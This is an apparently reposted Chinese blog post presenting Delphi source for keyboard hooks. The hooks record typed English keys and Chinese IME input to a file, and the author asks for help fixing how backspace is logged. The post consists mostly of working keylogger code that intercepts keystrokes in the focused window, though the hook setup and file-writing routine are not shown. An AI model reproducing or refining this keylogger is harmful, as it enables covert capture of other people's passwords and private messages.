delphi 一个中英文记录delphi实现


本文整理自网络,侵删。

 

声明:参考了汇编版的代码,刘麻子的一些东西---------可以说是个李鬼
问题:记录退格键时会记成 [<=](怎么解决?我技穷了!);也许还有其他的,希望能指出并提出解决方法。
主要代码:
function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;
var
pcs:pMSG;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PMSG(lparam);
if pcs^.message = WM_KEYUP then
begin
if pcs^.wParam<$30 then
begin
if pcs^.wParam=VK_UP then ToFileProc('[↑]')
else
if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
else
if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
else
if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
else
if pcs^.wParam=VK_BACK then ToFileProc('[<=]')
else
if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
else
if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
else
if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
else
//if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
//else
//if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
end;
end
else
if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
begin
if not (IsDBCSleadByte(pcs^.wParam)) then
begin
if (wParam and PM_REMOVE)>0 then
begin
if pcs^.wParam=VK_SPACE then ToFileProc(' ')
else
if pcs^.wParam=VK_RETURN then ToFileProc('#10')
else
ToFileProc(char(pcs^.wParam AND $FF))
end;
end;
end;
end;
pcs:=nil;
end;

function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PCWPSTRUCT(lparam);
//pBuf := nil;
{if PCs^.message = WM_IME_CHAR then
begin
asm
mov dx,word ptr PCs.wParam
xchg dl,dh
mov ebx,offset cchar
mov word ptr [ebx],dx
end;
//ToFileProc(format('%s%s',[chr(PCs^.wParam shl 16),chr(PCs^.wParam shl 8)]));
ToFileProc(format('%s',[chr(PCs^.wParam shl 16)]));
//ToFileProc(cchar);
end; }
if PCs^.message = WM_IME_COMPOSITION then
begin
hFocus := GetFocus();
HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
if HIMC = 0 then Exit;
//将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
if dwLen > 0 then
begin
// 再调用一次.ImmGetCompositionString获取字符串
if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
begin
if strcomp(cchar,cchar2)<>0 then
ToFileProc(cchar);
strcopy(cchar2,cchar);
ZeroMemory(@cchar,20);
end;
end;
ImmReleaseContext(hFocus, HIMC);
end;
end;
pcs:=nil;
end;

相关阅读 >>

Delphi 中判断windows系统是否是64位系统

Delphi 解析Delphi中的loadlibrary,getprocaddress,freelibrary

Delphi 间隔时间

incsecond:将一个tdatetime变量加减一定数量的秒数

Delphi 判断进程名是否存在,如果存在则结束进程

Delphi tlistview(tlistbox+图标显示)

Delphi memo 自动滚动到最底下

Delphi 获取所有窗口标题

Delphi 加载excel 导入数据库

Delphi fmx窗体中控件对齐方式介绍

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...